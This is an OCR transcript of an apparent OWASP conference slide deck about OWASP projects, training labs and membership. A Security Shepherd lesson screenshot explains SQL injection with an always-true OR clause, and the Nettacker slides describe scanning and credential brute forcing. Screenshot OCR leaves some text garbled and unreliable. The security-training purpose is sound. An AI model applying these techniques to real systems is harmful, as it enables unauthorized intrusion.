API7:2019 — Security misconfiguration
API8:2019 — Injection

AP19:2019 — Improper assets management

API10:2019 — Insufficient logging and monitoring
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OWASP LLM Security Top 10 @

OWASP Top 10 for
LLM Applications 2025

. OWASP Top 10 for
Version 2025 LLM Applications 2025

November 18, 2024

Version 2025
aaaaaaaaaaaaa

OWASP PDF v4.2.0a 20241114-202703
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GenAl.OWASP.org

&« » C 23 genai.owasp.org

@ownsp

LLM APPLICATIONS
TOP 10 T ATV N GETTING STARTED v PROJECT v INITIATIVES v BLOG ABOUT v

Al Security Center of Excellence
Guide

Establishing a Generative Al Security COE is essential. This document offers.a
best practices framework for teams, including cross-functional OKRs and KPlIs,
to streamline implementation:

Learn More Download Now

Join the Newsletter N ——— SUBSCRIBE

owasp.org (@securestep9



OWASP Al Security and Privacy Guide

]

OWASP

Al security & privacy guide

This page is the OWASP Al security & privacy guide. It has two parts:

1. How to address Al security
2. How to address Al privacy

Artificial Intelligence (Al) is on the rise and so are the concerns regarding Al security and privacy. This guide is a working
document to provide clear and actionable insights on designing, creating, testing, and procuring secure and privacy-preserving
Al systems.

See also this useful recording or the slides from Rob van der Veer's talk at the OWASP Global appsec event in Dublin on
February 15 2023, during which this guide was launched. And check out the Appsec Podcast episode on this guide
(audio,video), or the September 2023 MLSecops Podcast. If you want the short story, check out the 13 minute Al security quick-
talk.
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Latest Al Guides

@ownse, | TOP 10 Lasmucanons @ ownsk, | TOP 10 & eierarve a

A Guide to Preparing and

Responding to Deepfake Events GenAl Red Teqming Guide

LLM & GenAl Threat Intelligence Initiative A Practical Approach to Evaluating
Al Vulnerabilities

Version 1.0 Version 1.0
October, 2024 January 23, 2025
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Al Exchange - OWASPAI.org

Al security threats and controls navigator from the owasp al Exchange at owaspai.org

CRonity rGroup gf g?tlitrollﬂ,ﬂordere{ by threctgf type (_)7 (clif!«{byle) : e y
— R » oncontion | gy o vty
General ] o - » op—
controls Deal with behaviour integrity issues " Sensitive data limitation
against all
threats

VALIDATION » OBFUSCATETRAININGDATA

Integrity of model behaviour Confidentiality of train data Confidentiality of model IP
Controls against d ~ >
threats through Always against use threats () 2.1 Against evasion ()’ 2.2 Against data disclosure by use () 2.3 Against model theft by use ()

runtime use
2.2.1 Against data disclosure by model (_)

» EVASIONROBUSTMODEL
» TRAINADVERSARIAL

ADVERSARIALROBUSTDISTILLATION
* Availability of model

2.2.2 Against model inversion and . . -
bership infer & 2.4 Against failure by use )/

» SMALLMODEL
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OWASP DefectDojo

Defect Dojo is a security orchestration and vulnerability
management platform. Aka the “Single Pane of Glass”.

DefectDojo allows you to manage your application
security program, maintain product and application
information, triage vulnerabilities across all security tools
and push findings to systems like JIRA and Slack

& OEFECT OO0J0 Soarch B = -
* Bodgeit a
= Lul Metrics ) Engagements [EZ ~ ¥ Findings B2 + e Endpoints Bl + & Benchmarks v & Settings ~
Q
=] © Metadata
X Business Criticality  High
Bodgelt o

i « Easy to install - just requires java and a servlet engine, e.g. Tomcat Product Type Research and Development
@ « Self contained (no additional dependencies other than to 2 in the above line)

« Easy to change on the fly - all the functionality is implemented in JSPs, so no IDE required* Cross platform Platform Web

« Open source* No separate db to install and configure - it uses an 'in memory' db that is automatically (re)initialized on start N =
Ll ip Lifecycle Construction
s + More testing Origin Third Party Library
i User Records 1,000

Revenue 50,000.00

&
©

0 33 85 6 204
CRITICAL HIGH Low INFORMATIONAL TOTAL 4 Languages
| XM
JavaScript
S Java

Apache 2.0 [ v.1 | GDPR EU & EU Data Extra-Territorial Applicability

Total Files: 55 Lines of Code: 10,400 [

owasp.org

| @ cChrome File Edt View wistory Bookmarks People Window el

5@ T oo

C | © locaihost:8000/dasnboard

A OEFECTOOJO

i Apps @ Run multiple servic.. 1) Webhook Tester  Cb Best YAWL Vaidato.. ) master —jekyliek 3§ Mtacking Ardrd.. == 88C - Trwws - Vome Q) Nasheoaimockin.. G How mSet Unabe..
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Security Culture & Security Champions

OWASP Security Culture 1.0 @ULUF]SQ PROJECTS CHAPTERS EVENTS ABOUT

‘D&ﬂne Maturity Gool’
- . OWASP Security Culture - v1.0

Home > V10

‘ Securiy team ‘ —’{ R }7 Dasign Table of Contents
— — 0. Frontispiece
4 ‘ 1. Introduction
‘Socumy MWIHLIMMW}* Develop 2. Why Add Security In Development Teams
—— T — 3. Goal Setting and Security Team Collaboration
« . . 4. Security Champions
‘ Activities | 4>’ Security Testing '— Deploy 5. Activities
SRS S— o 6. Threat Modelling
v 7. Security Testing
‘ ity i‘ 8. Metrics
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Identify
teams

Enumerate
products and
services

List teams per
each product
Identify Product
manager
(responsible for
product) and team
manager (working
directly with
developers)

Write down
technologies
(programming
languages) used
by each team

Define
the role

Measure current
security state
among the teams
and define
security goals you
plan to achieve in
mid-term (e.q. by
using OWASP
SAMM)

Identify the places
where champions
could help (such
as verifying
security reviews,
raising issues for
risks in existing
code, conducting
automated scans
etc.)

Write down clearly
defined roles, as
these will be the
primary tasks for
newly nominated
champions to
work on

Nominate
champions

« Introduce the idea
and role
descriptions and
get approvals on
all levels - both
from product and
engineering
managers, as well
as from top
management

« Together with
team leader
identify potentially
interested
candidates

« Officially
nominate them as
part of your
security meta-
team

« Make sure to
have an easy way
to spread
information and
get feedback

« While differing
from company to
company, this
usually includes
chats (Slack/IRC
channel, Yammer
group, ...} and
separate mailing
lists

« Set up periodic
sync ups - bi-
weelky should be
fine to start with

owasp.org

Knowledge
base

« Build a solid
internal security
knowledge base,
which would
become the main
source of
inspiration for the
champions

« It should include
security meta-
team page with
defined roles,
secure
development best
practices,
descriptions of
risks and
vulnerabilities and
any other relevant
info

« Pay special
attention to clear
and easy-to-follow
checklists, as it's
usually the
simplest way to
get the things

going

Maintain
interest

« Develop your

ways or choose
one of the below
to keep in touch
and maintain the
interest of the
champions

« Conduct periodic

workshops and
encourage
participation in
security
conferences

« Share recent

appsec news (e.g.
Ezine) via
communication
channels

« Send internal

monthly security
newsletters with
updates, plans
and recognitions
for the good work

« Create champions

corner with
security library,
conference
calendar, and
other interesting
materials

(@securestep9




OWASP Wrong Secrets Project

OWASP WrongSecrets .

Java checkstyle and testing 'passing Terraform FMT [passing Test minikube script (k8s) 'passing
Test minikube script (k8s&vault) 'passing Docker container test 'passing § OWASP |ab project § discussions 2 total

Welcome to the OWASP WrongSecrets pOwnable app. With this app, we have packed various ways of how to not
store your secrets. These can help you to realize whether your secret management is ok. The challenge is to find
all the different secrets by means of various tools and techniques.

Can you solve all the 24 challenges?

WrongSecrets Home

Challenge 1

Welcome to challenge 1. You need to guess the secret that is hidden in Java, Docker, Kubernetes, Vault, AWS or GCP.
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Admin

Scoreboard

Lessons

XBroken Crypto

XBroken Session Management
Xchient Side Injection
XContent Provider Leak age
XCross Site Request Forgery
Xcross Site Scripting

XFailure to Restrict URL Access
Xinsecure Cryptographic Storage
Xinsecure Data Storage
Xinsecure Dirsct Object
References

XPoor Authentic ation

XPoor Data Validation

XReverse Engineering

Xsec unty Misconf

Xsat njection

_Submit

SQL Injection Lesson

Injection flaws, such as SQL ingection, occur when hostile data is sent 10 an interpreter as parnt of 3 command or quer
y. The hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data. Inje
ctions attacks are of a high severity. Injection flaws can be exploited to remove a system's confidentiality by accessin
g any information held on the system. These securnty risks can then be extended to execute updates to existing data
affecting the systems integrity and availability  These attacks are easily exploitable as they can be initiated by anyon
e who can interact with the system through any data they pass to the application

The following form’s parameters are concatenated to a string that will be passed to a SQL server. This means that the
data can be interpreted as part of the code

The objective here is to modify the result of the query with SOL Injection so that all of the table's rows are retumed T
his means you want to change the ean result of the query's WWHERE clause to return true for every row in the tabl
@. The easiest way 1o ensure the boclean result is always true is to inject a boolean 'OR’ operator followed by a true st
atement like 1 =1

If the parameter is been interpreted as a string. you can escape the string with an apostrophe. That means that everyt
hing after the apostrophe will be interpreted as SQL code

Hide Lesson Introduction

Exploit the SOL Ingection flaw in the following example to retnieve all of the rows in the table. The lesson’s solution key
will be found in cne of these rows! The results will be pested beneath the search form

Please enter the user name of the user that you want to
look up

owasp.org

ty Shepherd

dcua &
NULL Life®

androide ©
micaman © ©
Insanity® ®
longerthan5c
aiacobelli ©
ottucsakj® ©
mfocuz ©
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OWASP WebGoat

’?‘é WEBGOAT Report card a-

E
(]

Introduction >
General >
(A1) Injection > OVERVIEW
(A2) Broken Authentication >
Total number of lessons 32
(A3) Sensitive Data Exposure >
(Ad) XML External Entities (XXE) > Total number of lessons solved 0
(AS) Broken Access Control > Total number of assignments 85
(A7) Cross-Site Scripting (XSS) >
Total number of assignments solved 0
(A8) Insecure Deserialization >
(A9) Vulnerable Components > R
Learn in three steps
LESSON OVERVIEW
o)
Cross-Site Request Forgeries |
S . Cesssnasine Siived QF@ Explain the vulnerability
erver-Side Request Forgery
Client side > Without password faise
Challenges > : ' Teaching is now a first class citizen of WebGoat, we explain the vulnerability. Instead of ‘just hacking’ we now
Admin password reset false o o L
focus on explaining from the beginning what for example a SQL injection is.
Admin lost password false
I+1=
Learn by doing
Without account false =
Bypass front-end restrictions false During the explanation of a vulnerability we build assignments which will help you understand how it works.
Client side filtering false
QP
: Explain mitigation
Crypto Basics false
{ =)
Cross Site Scripting false At the end of each lesson you will receive an overview of possible mitigations which will help you during your

7 development work.
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OWASP JuiceShop

OWASP Juice Shop

[’Miin ” Overview H News ”Challenges ” Learning H CTF H Ecosystem ” Supporters 1

owasp flagship project  release v14.2.1 [ GitHub % 7.2k I R CUVREER: (3
"M Contributor Covenant [¥2.0 adopted

OWASP Juice Shop is probably the most modern and sophisticated insecure web application! It can be used in
security trainings, awareness demos, CTFs and as a guinea pig for security tools! Juice Shop encompasses
vulnerabilities from the entire OWASP Top Ten along with many other security flaws found in real-world
applications!

Description

/CROSS/SITE/
SCRIPTING

& Broken Access Control

Security

by
Obscurity

I Injection

INJECTION

& Unvalidated Redirects

Unvalidate& Redirects

owasp.org

Sensitive
Data Exposure

(3 Vulnerable Components
{3}
Vulnerable Components

L3 Insecure Deserialization

Insecure

Deserialization

Q-
(J Security Misconfiguration

Security
Misconfiguration

¥

J Miscellaneous

Miscellaneous
Threats

3 Broken Authentication

BROKEN

AUTHENTICATION

(3 Broken Anti Automation

(J Cryptographic Issues

dRtldgSxil?s

{ & ]

CRYPTOGRAPHY

XML
EXTERNAL
ENTITY
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OWASP Cornucopia

OWASP Cornucopia is a card game used to help
development teams to identify application security

requirements during the software development life
cycle and develop security-based user stories.

Ivan can steal session identifiers
because they are sent over insecure
channels, or are logged, or are
revealed in error messages, or are
included in URLs, or are accessible un-
necessarily by code which the attacker

caninfluence or alter

Alice can utilize the application to
attack users' systems and data

S
=
S
N
S
=
=
=
)
@)
S
<
()

INIWIDVNVIN NOISS3S

Have you thought about
becoming an individual
OWASP member? All tools,
guidance and local meetings s
are free for everyone, but 69,75,76,119,138
individual membership helps OWASP ASVS
P 35,810,114
support OWASP’s work ey e —
S£4-6
CAPEC
31,60
SAFECODE

28

OWASF Comuopia Loamvmence Webite [d1on vI 04
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OWASP AMASS

OWASP Amass Project performs network
mapping of attack surfaces and external
asset discovery using open source
information gathering and active
reconnadissance techniques.

OWASP Amass features: e
e DNS Enumeration

e External Asset Discovery & Tracking . 0
e Attack Surface Mapping / Visualisation
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OWASP Nettacker

OWASP Nettacker project allows to automate
penetration testing tasks such as

e Information Gathering

e Enumeration = N/ / v

e Port Scanning

e Vulnerability Scanning

e Credential Brute Forcing
And more!

WAL AV AN A A

NettGCker hGS a bU|It_|n dqtqbose Gnd a API Key: d39b4dd429fe8al2c064821d8e543928

webserver with a search engine allowing to e e
scan your external and internal assets and Use a production WSGI server instead.
. . Deb de: off
create an online inventory of assets and Rﬁnﬁ?ngooi h(‘ztps://127.0.0.1:5900/ (Press CTRL+C to quit)

vulnerabilities.

owasp.org U)@securestep9




REPORT IN A SPREADSHEET- A MANAGER'S DREAM!

OWASP Nettacker is capable of
scanning your entire network for open
ports, web servers & vulnerabilities

YOU GET A SPREADSHEET
ANDYOU.GET.A SPREADSHEET

M ft Exce . m
producing a CSV file you can simply _ B )
00 Rl e, &5 BT k= EP R 9

open with a spreadsheet software

%1 Sort Filter A(/ A hancad '10.-'. o Rer?.vo-,e Dat: Consolidate w'mtlr' Group Ungroup Subtotal
Columns Duplicates Validatio Analysis * - =
Sort & Filter Data Tools Outline
C D E F G
PORT ~ DESCRIPTION * USERNAN - PASSWOI - TIME Y
80 AtlassianProxy/1.15.8.1 BRERREERERE
443 AtlassianProxy/1.15.8.1 EEE SRR
7 \ 443 cloudflare EEEE R E R
WAV /AN = 80 cloudflare prsmmasany
2 Nl 80 cloudflare FREsERRRRRE
i 443 cloudflare EEEEEE R
e |\ | EVERYONEGETS A SPREADSHEET o p——
23r0ddy. con \»_\4_'_“1_{_“: BT | ¥ 80 cloudflare REunHERURRY
10 secureflag.owasp.org server_version_vuln 443 nginx HERRRSRERRR
11 secureflag.owasp.org server_version_vuln 80 nginx RERRRERSRER
e e L o 12 kerala.owasp.org server_version_vuln 443 cloudflare sRunEasAN
O e Sl ":5t:cz,"d“?;f“igfe[izz”igfggS i aodalaa: 13 kerala.owasp.org server_version_vuln 80 cloudflare susssaaRnRe
ettt e e R e i e e T 14 lists.owasp.org server_version_vuln 443 cloudflare HESHEHEHRNS
B urL: NEtps:// WM 443/ opd /1. conf guration/users/user-roles/user-role/rest-userrotel/vehjveb-bookmarks bookmark] o 15 lists.owasp.org server_version_vuln 80 cloudflare susunnanan
Slcress cond Honfel: 16 name-virt-host.owasp.org  server_version_vuln 80 cloudflare ]
17 name-virt-host.owasp.org  server_version_vuln 443 cloudflare HERRERRRARA
P P e [ e 18 cheatsheetseries.owasp.org server_version_vuln 443 cloudflare . RERARRRARRS
2024-01-21 2;_ | 443 | Detected? M ¢ » ¥ Sheetl Sheet2 Sheet3 ©J ,u [
| 01:37:20.5505¢ | | |l Ready (&80 0036~ o

Software Details: OWASP Nettacker version ©.3.3 [TRENT] in 2024-81-21 01:37:20
[2024-01-21 @ ][+] report saved in /sec/root/venv/Nettac
[2024-01-21 @ 1[+] done!

owasp.org (@securestep9




(Almost Free) Training Courses

owaseuembers Il (F)OWASP, BECOME A MEMBER

professional

DevSecOps training -
courses for FREE. / K

It costs $50/year t 1 YEAR & 1 YEAR :
become a paid $50.00 $20.00 R on

OWASP Member e e Teeye s YOUR LOCATION
($20 StUdentS). ull-time Student $20 Full-time Student $8

However there is a

way to become a

complimentary

member....

owasp.org (@securestep9



Secure Flag Training

> C @ secureflag.owasp.org/user/index.html#/exercises/paths

¥ SecureFlag

Dashboard

8 o

Labs

Learning Paths

=
{&} Tournaments
£ Achievements

9, Team

53 Settings
() Help

(5> LogOut

4

Java

>

Not Completed

Intermediate Secure Coding in Java

Number of Activities: 18

Level ® ®  Intermediate

< Browse Learning Path )

[((EN

Not Completed

P

T
<
5

Intermediate Secure Coding With Spring Boot
Number of Activities: 14

Level ® ®  Intermediate

( Browse Learning Path )

Secure Authentication in Java

Number of Activities: 12

Level® @ Intermediate

p—
«

Not Completed

( Browse Learning Path

Injections in Java
Number of Activities: 16

Level ® ®  Intermediate

Not Completed

( Browse Learning Path

powered by ¢ SecureFlag

b % ¢ GE »OqQ
S
Java

OWASP API Security Top 10:2019 in Java

Number of Activities: 24

Level® @ Intermediate

( Browse Learning Path )

= Not Completed
Java

Advanced Secure Coding in Java
Number of Activities: 18

Level ® ® @ Advanced

( Browse Learning Path )

owasp.org
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Checkmarx Codebashing

23 owasp.codebashing.com/app/login

Checkmarx #)ownsp

Welcome to

Email Address

CODEBASHING

Powered by Checkmarx

Password
CodeBashing™ is redefining developer secure code
training by bringing security and coding together
fast. With bite-sized secure code workouts, we're Forgot password?
empowering developers to secure code as they
write it.

Learn more about Codebashing and how it helps developers
write secure code the first time.
!

By clicking Login you agree to the
Codebashing Terms of Service and Privacy Policy

owasp.org U)@securestep9



Codebashing Training Courses

ﬁ \ In partnership with @

& Back

LESSON

SQL Injection

ra
&4}

LESSON

‘ Reflected XSS

2
&4

i LESSON

Leftover Debug Code

Learn

LESSON
XXE Processing

(4]

LESSON
Stored (Persistent) XSS

A
&}

LESSON

Authentication Credentia...

Play

| Test | )(Resources v

LESSON
Command Injection

&4}

LESSON
DOM XSS

&

! LESSON
Session Exposure Within ...

A
&4}

owasp.org

LESSON
Session Fixation

,
&4

LESSON
Directory (Path) Traversal

A
)

LESSON

User Enumeration

A
&

LESSON
Privileged Interface Expo...

A
&4}

LESSON
Horizontal Privilege Escal...

U)@securestep9



Complimentary Membership

W OWASP Membership Informati: X 4+

If you are an OWASP
Chapter Leader or

Project Leader you Join or Renew Now
can request

owasp.org

Would your business like to become a Corporate Member?

complimentary —
. United Kingdom Postal Code
membership!
(must claim annually)
One Year $50 Two Year $95 Lifetime $500

. Join the OWASP Mailing List (See details below)

Become an OWASP
. | am requesting Complimentary Membership for OWASP Leaders]

Project Leader!
(details later)

owasp.org (@securestep9




Open Source Project Appeal

Please “donate” your Security-related Open Source Software (OSS) projects to OWASP!

=>OWASP Gives Your OSS Projects:

A Home

Visibility

Credibility
Resources

Community
Longevity

Neutrality

Move your Source Code repo to GitHub.com/OWASP organisation repository

OWASP Projects webpage gets over 6 million visitors a year.

OWASP is well known in the AppSec/DevSecOps community and the industry

Funding and Project Summits are available for qualifying Programs & Grants

Our Conferences and Local Chapters connect OWASP Projects with many users & collaborators

The OWASP Community can continue to collaborate and develop your project even if you no longer have

time/ability to maintain the project yourself

OWASP removes the “stigma” associated with Vendor-owned OSS. Many OSS projects were abandoned or

lost after Mergers & Acquisitions or company re-org

owasp.org

(@securestep9




Start a New OWASP Project

Have an idea? Start a OWASP Project!
Go to owasp.org/projects -> click link on the right ->

Important Links
This creates a New Project Request JIRA ticket:

Project Handbook
Start a New Project
Project Graduation
Application

& C & owasporg.atlassian.net/servicedesk/customer/portal/7/create/70 Q B % o @i‘ B »0 09

OWASP Services / Non-funding Request Service Desk

New Project Request

Project Name *

#)owasp

Code Project
Documentation Project

Tool Project 2014 OWASP PROJECT HANDBOOK

Leader Name (First Last)*

Leader Email*

owasp.org (@securestep9



https://owasp.org/projects/#:~:text=Project%20Handbook-,Start%20a%20New%20Project,-Project%20Graduation%20Application

Contribute!

& juice-shop /juice-shop Ppublic

<> Code () Issues 7 19 Pullrequests 3 (® Actions () Security |~ Insights

Q is:issue is:open

G) 7 Open + 798 Closed Author ~ Label ~

® [%] waitForDevTools() helper function is not working €D
#2274 opened 2 weeks ago by ThReinecke

© [%] Server-side exception on orders without sufficient funds )
#2272 opened 2 weeks ago by romulusFR

© [%] Cheat threshold is to short for Fixlt issue ) ( challenge stale
#2256 opened on May 24 by Whyiest

© ZAP Scan Baseline Report stale
#2191 opened on Feb 3 by github-actions bot

© )X Perform update to Angular 17 (EECHAICAIEEBE) user interface

#2173 opened on Jan 7 by bkimminich

© [.]Coding challenges for web3 challenges ' challenge  technical debt

#2091 opened on Sep 10, 2023 by bkimminich ) 1 of 2 tasks

© [%] 401 Unauthorized unsigned/fake-signed JWT tokens ) ' challenge  technical debt

#1788 opened on Apr 8, 2022 by hpacheco

Q) sponsor

© Labels 32

Projects ~

[\ Notifications

¢ Milestones 0

Milestones ~

Assignee ~

% Fork 9.8k w

Sort ~

1

owasp.org
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Thank You

sam.stepanyan @ owdasp.org

€3 % 2 @securestep?

DISCLAIMER:
Still frames from the Dire Straits music video © Warner Records.
Fair Use claimed for the purpose of comment




